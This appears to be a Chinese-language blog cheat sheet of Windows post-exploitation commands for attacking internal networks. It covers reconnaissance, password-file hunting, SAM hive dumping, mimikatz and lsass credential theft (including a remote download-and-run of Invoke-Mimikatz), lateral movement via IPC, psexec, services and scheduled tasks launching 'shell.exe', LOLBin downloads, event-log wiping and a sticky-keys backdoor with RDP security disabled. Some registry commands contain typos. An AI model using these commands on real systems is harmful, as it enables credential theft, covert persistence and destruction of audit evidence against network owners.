windows命令整理

本文只是作为知识整理，尽可能的收集一些常用的内网指令。本人原伸手党一枚，希望这些内容对新人有用，大牛可自行忽略。

0x00 内网信息收集

一、单机基础信息收集

如果是获得第一台初始主机的权限的话，我们需要尽可能的多收集当前机器的的信息，包括主机是在域还是在工作组中、主机所在的内网网段的信息、主机当前的已经运行（和已经安装）的防护软件和监控软件、主机当前的一些活跃连接、主机上的一些用户信息（若高权限，可以拿到本机的`lsass`进程中的明文密码和本机保存的本地凭证）、域中主机还可以收集更多的域信息（包括但不限于：定位域控，寻找时间服务器，寻找DNS服务器，寻找邮件服务器等）、尽可能多的寻找本主机中密码相关的文本和配置文件，等多种操作。

1-基础命令

```
whoami /all                          查当前用户在目标系统中的具体权限,这可能会成为你习惯性动作
query user | quser                   查当前机器中正在线的用户,注意管理员此时在不在
hostname                             查当前机器的机器名,知道当前机器是干啥的
net user                             查当前机器中所有的用户名,开始搜集准备用户名字典
net localgroup                       查当前机器中所有的组名,了解不同组的职能,如,IT,HR,admin,file
net localgroup "Administrators"      查指定组中的成员列表
```

2-查看本机ip配置

```
ipconfig /all                        查看本机ip配置,观察本机是否在域内,内网段有几个,网关在哪里
ipconfig /displaydns                 查看本地DNS缓存
```

3-查看当前机器中所有的网络连接

```
net start                                    查看本机运行的所有服务
netstat -ano                                 查看本机所有的tcp,udp端口连接及其对应的pid
netstat -anob                                查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -ano | findstr "ESTABLISHED"         查看当前正处于连接状态的端口及ip
netstat -ano | findstr "LISTENING"           查看当前正处于监听状态的端口及ip
netstat -ano | findstr "TIME_WAIT"           查看当前正处于等待状态的端口及ip
```

4-查看本机的路由情况

```
route print                          打印本机路由信息,可以看到本机所有的网卡接口
arp -a                               查找有价值的内网arp通信记录
netsh int ip delete arpcache         删除当前机器的arp缓存
tracert 8.8.8.8                      跟踪本机出口ip
```

5-查看当前机器自身的配置信息

```
systeminfo                                                    查看本机的详细配置信息
systeminfo /S 192.168.1.101 /U testlab\test /P "test"         查看远程机器的系统配置

systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440  KB2707511
KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280
KB3199135) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a
temp.txt                              检测输出结果，快速找到未安装的可导致提权的补丁，KB号自行修改

set                                   查看当前机器的环境变量配置,看有没有我们可以直接利用到的语言环境
ver                                   查看当前机器的NT内核版本,不弹窗
winver                                查看当前机器的NT内核版本,弹窗，在非图形界面不执行这个命令
fsutil fsinfo drives                  列出当前机器上的所有盘符
net share                             查看当前机器开启的共享
driverquery                           查看当前机器安装的驱动列表
net share public_dir="c:\public" /grant:Everyone,Full          设置共享
```

6-在指定目录下搜集各类敏感文件

```
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
```

7-在指定目录下的文件中搜集各种账号密码

```
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
```

8-查看,删除 指定文件

```
type c:\windows\temp\admin_pass.bak          查看某个文件内容
del d:\ad\*.* /a /s /q /f                    强制删除指定路径下的所有文件
tree /F /A D:\ >> file_list.txt              导出指定路径下的文件目录结构
rd /q/s c:\windows\temp\test                 删除文件夹
```

9-查看当前机器的进程信息

```
tasklist /svc                   显示当前机器所有的进程所对应的服务 [只限于当前用户有权限看到的进程]
tasklist /m                     显示本地所有进程所调用的dll  [同样只限于当前用户有权限看到的进程]
tasklist /v                     寻找进程中有无 域管启用的进程 或者 杀软进程
taskkill /F /im calc.exe        用指定进程名的方式强行结束指定进程
```

10-查询当前机器已安装的补丁

```
wmic qfe get description,installedOn,HotFixID,InstalledBy
wmic qfe get CSName,Description,hotfixid
```

11-查询当前机器自启动程序有哪些

```
wmic startup list full
wmic STARTUP GET Caption,Command,User
```

12-查询当前机器所安装的所有软件名

```
wmic product get name /value
wmic product get name,version
```

13-查询本机所有的盘符及剩余空间

```
wmic logicaldisk get description,name,size,freespace /value
wmic logicaldisk where drivetype=3 get name,freespace,systemname,filesystem
```

14-查询当前机器的简要配置信息

```
wmic computersystem list brief /format:lists
```

15-查询当前机器的操作系统位数

```
wmic cpu get DataWidth /format:list
```

16-查询当前机器的用户及组信息

```
wmic useraccount list brief /format:list
wmic group list brief /format:list
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
```

17-查询当前机器所有用户的详细信息

```
wmic useraccount list brief
```

18-查询当前机器所有服务的详细状态

```
wmic service list brief
```

19-查询指定域的域管有哪些

```
wmic /node:rootkit path win32_groupuser where
(groupcomponent="win32_group.name=\"test\",domain=\"labtest\"")
```

20-查看谁登陆过指定机器,适合用来找域管进程

```
wmic /node:192.168.1.100 path win32_loggedonuser get antecedent
```

21-查询本机共享

```
wmic share get name,path,status
```

22-查询机器的杀软

```
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,
pathToSignedProductExe
```

二、域信息收集

很多时候我们需要了解内网中的网络拓扑和网络架构才能更好地开展下一步的行动。下面给出的一些命令有些命令只能在域控中执行（会注明），使用的工具可能是有一部分是需要自行上传，其余的都是系统自带的命令。永远记住，信息收集的时候尽可能不要造成大的内网噪音。

1-net组件搜集域内信息

```
net user /domain                查看当前域中的所有用户名,根据用户名总数大概判断域的规模
net user labadmin /domain       查看指定用户在当前域中的详细属性信息
net view                        查看当前域中在线的机器有哪些,但这样看着不太直观,没有对应的IP
net view /domain                查看所有的域名称
net view /domain:labtest        查看指定域中在线的计算机列表
net time /domain                查看时间服务器，一般域控会做时间服务器
net accounts /domain            查看当前域的域内账户密码设置策略
net config workstation          看看当前的登录域

----------------以下命令在高版本系统（2012及以后）中会提示只能域控中执行----------------------

net group /domain                           查看当前域中的所有组名
net group "domain admins" /domain           查看当前域中的域管账户
net group "domain computers" /domain        查看当前域中的所有的计算机名（登录过该域的计算机）
net group "domain controllers" /domain      查看域控
```

2-更多指令收集域内信息

```
## DC上运行的命令
nltest /domain_trusts                    查看域内信任关系
dnscmd /zoneexport lab.com dns.txt       导出域内DNS信息，文件在C:\Windows\system32\dns\dns.txt

## 更多收集命令
nslookup -q=mx labtest.com               查看域内邮件服务器
nslookup -q=ns labtest.com               查看域内DNS服务器
netdom query pdc                         查看域内的主域控，仅限win2008及之后的系统
```

3-批量把net view的结果转换为ip，保存bat文件，然后执行

```
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find
"The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k  %%j)
)
)
```

4-批量把文件中的主机名获取IP

这个是基于上方bat文件的拓展，如果你用其他方式获得了更多主机名，可以使用以下bat文件，t.txt为保存主机名的文件，h.txt为结果文件（主机名和对应IP都有呈现）

```
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq delims=" %%j IN (c:\windows\temp\t.txt) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j
>>c:\windows\temp\h.txt)
)
)
```

5-利用dsquery 工具搜集域内信息,域成员机器需要自己传上去

```
dsquery computer        查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个dsquery
dsquery user            查看当前域中的所有账户名
dsquery group           查看当前域内的所有组名
dsquery subnet          查看到当前域所在的网段，结合nbtscan使用
dsquery site            查看域内所有的web站点
dsquery server          查看当前域中的服务器(一般结果只有域控的主机名)
dsquery user domainroot -name admin* -limit 240  查询前240个以admin开头的用户名
```

6-csvde导出域信息

```
如果你有一个当前有效的域用户账户及密码
csvde.exe -f c:\windows\temp\e.csv -n -s 192.168.1.100 (DC的IP)  -b 域用户名 域名 域用户密码

如果你可以使用域成员主机的system权限 或者 当前就在DC上
csvde.exe -f c:\windows\temp\e.csv -n -s 192.168.1.100 (DC的IP)
```

7-Powerview.ps1的一些使用

PowerView是PowerShell脚本，属于 PowerSploit 框架和 Empire 的一部分。该脚本完全依赖于 PowerShell 和 WMI 查询。脚本所在的地址：项目

因为绝大多数情况下，我们在目标中执行 powershell 脚本都是使用 msf 、CS 、Empire 等攻击框架直接加载 powershell脚本到目标机器中。我这里给出 MSF 的指令作为参考，读者可以自行引申 （更多指令查阅：地址）：

```
msf:> load powershell
msf:> powershell_import /root/Desktop/PowerView.ps1

msf:> powershell_execute Get-NetDomain        获得当前域用户所在的域的名称
msf:> powershell_execute Get-Netuser          获得当前域中的所有用户对象

.....
```

8-Bloodhound/Sharphound工具的使用

BloodHound以用图与线的形式，将域内用户、计算机、组、Sessions、ACLs以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在Red Team面前进行更便捷的分析域内情况，更快速的在域内提升自己的权限。它也可以使Blue Team成员对己方网络系统进行更好的安全检测及保证域的安全性。

这里直接介绍需要在内网机器中执行的相关命令，至于工具的详细使用，可以参考下面的链接：

官方wiki freebuf的介绍

此工具的导出相对来说比较暴力（内网噪音比较多），且目前此工具 exe 原版已经被识别并被各种杀软查杀，包括微软win10自带的杀软 `Windows Defender` 。

在目标系统上运行 Bloodhound / Sharphound： 运行 PowerShell，然后导入 Bloodhound.ps1 或者 SharpHound.ps1：

```
Invoke-Bloodhound -CollectionMethod Default
Invoke-Bloodhound -CollectionMethod ACL, ObjectProps, Default-CompressData -RemoveCSV -
NoSaveCache
```

运行可执行文件:

```
SharpHound.exe -c Default, ACL, Session, LoggedOn, Trusts, Group
```

一旦运行完成了 Bloundhound / Sharphound，将会有四个文件（csv文件 或者 json文件）将被保存到受害者机器上。下载这些文件到本地，然后本地自行使用相关程序进行查阅。

9-用户命令相关拓展

```
net user username password /add                          添加一个username的用户，密码password
net localgroup administrators username /add              将username用户添加到本地管理员组

net user username password /add /domain                  添加一个username的域用户，密码password
net group "domain admins" username /add /domain          将username域用户添加到域管理员组

runas /user:administrator "net localgroup administrators domain.com/uasername /add"
  将域用户 username 添加到本地管理员组
```

0x01 内网横向移动

横向移动的时候，我们需要使用的工具包括系统自带和一些需要自行上传的程序（这里不讨论免杀的问题，只说用法）。为了更好的降低操作的噪音，我们的操作推荐还是尽可能的多使用powershell脚本。

一、当前主机密码提取（需要高权限）

1-注册表导出本地主机所有账户的哈希

> 导出这些数据后，本地可以使用 `cain` 程序来查阅这些文件
>
> 当然，你也可以使用 Get-PassHashes.ps1（nishang项目中的脚本，地址）导出

```
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
```

2-lsass进程中的凭证导出

> 这里介绍的两个工具 mimikatz （项目地址）和 procdump （下载地址） 都不是系统自带，需要本地上传，mimikatz需要进行免杀，procdump是微软发布的工具。

```
## mimikatz直接导出

-----exe版本------
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >>c:\windows\temp\test.txt

-----powershell版本---------
powershell IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit
/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

## procdump 导出 + mimikatz本地解析

目标机器:
Procdump.exe -accepteula -ma lsass.exe lsass.dmp

本地机器（需要和目标机器的系统一致，目标是win08的64位，本地也是需要对应的win08的64位）：
sekurlsa::minidump lsass.dump.dmp
sekurlsa::logonpasswords full
```

3-高版本系统中密码导出为空的处理

从Windows server 2012开始，默认情况下不保存明文，修改注册表，并等待管理员重新登录，才能获得明文。

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
```

在 Cobalt Strike 或者 MSF 等渗透攻击框架中，我们可以通过 shell 命令运行：

```
shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
```

要主机的用户重新登录到系统，可以让目标机器屏幕锁屏、重新启动或注销用户，以便你能够抓取到明文。最简单的方法是锁定他们的工作机器，要触发锁屏：

```
rundll32.exe user32.dll LockWorkStation
```

二、扫描存活

1-初步内网存活探测 [单基于icmp的扫描]

```
for /L %a in (1,1,254) DO @ping -n 1 192.168.1.%a | findstr "TTL" >> pinglog.txt
```

2-搜集当前内网中的dns信息

```
for /L %a in (1,1,254) DO @nslookup 192.168.1.%a | find "Name:" >> dnslog.txt
```

三、连接主机 & 命令执行

1-传统IPC连接

```
net use \\192.168.1.101\ipc$ /u:"" ""                    先空连接探测
net use                                                  查看当前机器中的ipc连接有哪些
net use \\192.168.1.101\admin$ /user:"admin" "admin"     建立真正的ipc

net use \\192.168.1.101\admin$ /del /y                   指定删除自己建立的IPC
net use * /del /y                                        删除所有ipc
```

2-ipc建立成功后的 文件操作

```
第一种方式[磁盘映射]:
net use z: \\192.168.3.122\c$              把对方的c盘映射过来,当做本地盘
net use z: /del /y                         用完以后,务必立马删除映射

第二种方式[推荐用xcopy]:
xcopy d:\sqlitedata\*.* \\192.168.1.101\c$\temp /E /Y /D

也可在建立ipc后直接远程拷贝，copy和move都可以使用
copy c:\windows\temp\*.exe \\192.168.1.101\c$\windows\temp\*.exe        复制
move c:\windows\temp\*.exe \\192.168.1.101\c$\windows\temp\*.exe        剪切
```

3-IPC建立成功后的 SC操作

> SC创建服务添加的常规程序需要有返回值,不然启动服务时会报1053错误

```
sc \\192.168.1.101 create shellsrv binpath= "c:\shell.exe" start= auto displayname=
"shellstart"
sc \\192.168.1.101 create test binpath= "c:\windows\temp\test.bat" start= auto displayname=
"shellstart"
sc \\192.168.1.101 start shllsrv
sc \\192.168.1.101 stop shllsrv
sc \\192.168.1.101 delete shellsrv
```

4-IPC建立成功之后的 计划任务操作

计划任务有两个指令：`at`和`schtasks`

> at 只支持win 03和部分老版本win08，一般情况下，win08-SP1的系统是能添加 at 计划任务，但不一定执行，推荐win08及之后的系统都选择 schtasks 创建计划任务

```
net use \\192.168.1.101\admin$ "admin" /user:"AD\administrator"         建立IPC连接
net time \\192.168.1.101                                                查看目标机器当前时间
schtasks /create  /?                                                    查看schtasks使用帮助
chcp 437                当前机器是中文系统需要先修改下cmd字符集,以防schtasks远程创建计划任务时会报错
chcp 52936                                  用完以后再把字符集改回来,如果是英文系统就不会有这种问题

schtasks /create /s 192.168.1.101 /u "AD\administrator" /p "admin" /TN "shellexec" /SC
DAILY /ST 11:18 /F /RL HIGHEST /SD 2017/11/13 /ED 2017/11/16 /TR "C:\shell.exe"

schtasks /query /s 192.168.1.101 /u "AD\administrator" /p "admin" | findstr "shell"

schtasks /delete /s 192.168.1.101 /u "AD\administrator" /p "admin" /TN "shellexec"

at \\192.168.1.101 14:05 cmd /c "c:\windows\temp\test.bat"        03系统使用，需先IPC连接

--------------------给出DOS字符集代号--------------------------

代码页        国家(地区)或语言
437           英文 (美国)
708           阿拉伯文(ASMO 708)
720           阿拉伯文(DOS)
850           多语言(拉丁文 I)
```

```
852         中欧(DOS) - 斯拉夫语(拉丁文 II)
855         西里尔文(俄语)
857         土耳其语
860         葡萄牙语
861         冰岛语
862         希伯来文(DOS)
863         加拿大 - 法语
865         日耳曼语
866         俄语 - 西里尔文(DOS)
869         现代希腊语
874         泰文(Windows)
932         日文(Shift-JIS)
936         中国 - 简体中文(GB2312)
949         韩文
950         繁体中文(Big5)
1200        Unicode
1201        Unicode (Big-Endian)
1250        中欧(Windows)
1251        西里尔文(Windows)
1252        西欧(Windows)
1253        希腊文(Windows)
1254        土耳其文(Windows)
1255        希伯来文(Windows)
1256        阿拉伯文(Windows)
1257        波罗的海文(Windows)
1258        越南文(Windows)
20866       西里尔文(KOI8-R)
21866       西里尔文(KOI8-U)
28592       中欧(ISO)
28593       拉丁文 3 (ISO)
28594       波罗的海文(ISO)
28595       西里尔文(ISO)
28596       阿拉伯文(ISO)
28597       希腊文(ISO)
28598       希伯来文(ISO-Visual)
38598       希伯来文(ISO-Logical)
50000       用户定义的
50001       自动选择
50220       日文(JIS)
50221       日文(JIS-允许一个字节的片假名)
50222       日文(JIS-允许一个字节的片假名 - SO/SI)
50225       韩文(ISO)
50932       日文(自动选择)
50949       韩文(自动选择)
51932       日文(EUC)
51949       韩文(EUC)
52936       简体中文(HZ)
65000       Unicode (UTF-7)
65001       Unicode (UTF-8)
```

5-PsTools套件的使用

> PsTools套件（下载地址）是微软收购的安全公司（Sysinternals）的一些产品，目前被微软系统信任，而其中的psexec在横向移动中经常使用，psexec连接之后弹回来的一般都是交互式的shell。

```
psexec.exe /accepteula \\192.168.1.101 -u AD\administrator -p "admin" -s -c -f "cmd.exe"
   弹回一个 system 权限的cmdshell

psexec.exe /accepteula \\192.168.1.101 -u AD\administrator -p lm:ntlm -s -c -f "cmd.exe"
适合03以下的系统,不确定新版的psexec依旧支持ntlm
```

其实更多的连接方式还有 wmiexec和smbexec， 两者都可在github社区中找到，比较简单的就是在 `impacket` 工具包找到相关文件（项目地址），使用方法自行查阅帮助文档，这里不再赘述。

三、通过命令行下载文件

1-powershell （win2003、winXP不支持）

```
powershell -exec bypass -c (new-object
System.Net.WebClient).DownloadFile('http://192.168.1.101/test.txt','c:\test.txt')
```

2-Certutil

参考链接：微软官方介绍

```
certutil.exe -urlcache -split -f http://192.168.1.1/test.txt file.txt
```

3-bitadmin

参考链接：微软官方介绍

```
bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt
bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt
```

4-msiexec

```
msiexec /q /i http://192.168.1.1/test.txt
```

5-IEExec

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off
C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec.exe http://192.168.1.1/test.exe
```

0x02 痕迹擦除及持久化

完成一些操作之后，一定要做的就是清除自身的痕迹了，这里给出一点点比较基础的清理痕迹的命令，其实是更高级的操作我暂时没学会呀，比如暂停日志记录啥的。

1-清除系统日志命令1（win03 系统可用）

```
wmic nteventlog where filename='appevent' cleareventlog        清除应用程序日志
wmic nteventlog where filename='secevent' cleareventlog        清除安全日志
wmic nteventlog where filename='sysevent' cleareventlog        清除系统日志
```

2-清除系统日志命令2（win08及之后的系统使用）

```
wevtutil cl security                                           清除安全日志
wevtutil cl system                                             清除系统日志
wevtutil cl application                                        清除应用程序日志
```

3-清理IIS日志和多次擦除文件

> 清理文件我们还是尽量多擦除几次，使用微软发布的SDelete工具（下载地址）

```
IIS6 的日志目录：C:\Windows\System32\LogFiles

IIS7、IIS8、IIS10日志目录：C:\inetpub\logs\LogFiles

想要清理IIS的日志，命令操作大致如下：
net stop w3svc
sdelete.exe -accepteula -p 3 C:\Windows\System32\LogFiles\W3SVC1\*.*
net start w3svc

------------------sdelete 用法------------------

sdelete.exe -accepteula -s c:\windows\temp\test\       删除c:\windows\temp\test\文件夹中所有
sdelete.exe -accepteula -p 5 c:\windows\temp\test\*.exe        将文件夹中exe删除，并覆盖5次
```

4-修改注册表实现shift后门(需要高权限)

`shift后门`的老方法是使用cmd替换文件，现在直接使用注册表进行配置。

```
REG ADD "HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
ptions\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v
UserAuthentication /t REG_DWORD /d 0

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v
SecurityLayer /t REG_DWORD /d 0
```

可能需要运行以下命令进行额外的配置。

```
## 修改防火墙设置为允许远程桌面
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

## 允许远程桌面连接
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
```

以上命令完整的走一遍，个人以 `wmic` 为演示，`wmic` 是现在内网无文件比较好的一个方法。

```
wmic /user:[UserName] /password:[Password] /node:[Server] process call create
"C:\Windows\system32\reg.exe ADD \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\sethc.exe\" /v Debugger /t REG_SZ /d \"C:\windows\system32\cmd.exe\"
/f"

wmic /user:[UserName] /password:[Password] /node:[Server] process call create
"C:\Windows\system32\reg.exe ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDPTcp\" /v UserAuthentication /t REG_DWORD /d 0 /f"

wmic /user:[UserName] /password:[Password] /node:[Server] process call create
"C:\Windows\system32\reg.exe ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Temiinal
Server\WinStations\RDPTcp\" /v SecurityLayer /t REG-DWORD /d O /f"
```

可选命令

```
## 修改防火墙设置为允许远程桌面
wmic /user:[UserName] /password:[Password] /node:[Server] process call create
"C:\Windows\system32\netsh advfirewall firewall set rule group=\"remote desktop\" new
enable=Yes"

## 允许远程桌面连接
wmic /user:[UserName] /password:[Password] /node:[Server] process call create
"C:\Windows\system32\reg.exe ADD
\"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v
fDenyTSConnections /t REG_DWORD /d 0 /f"
```

拓展命令

```
## 查询rdp的端口,注意把默认的十六进制转换成十进制
reg query "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v
PortNumber

## 禁用远程桌面连接
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 1 /f

## 利用powershell启用禁用rdp:
C:\>powershell -exec bypass
PS C:\> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-
name "fDenyTSConnections" -Value 0
PS C:\> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-
name "fDenyTSConnections" -Value 1
```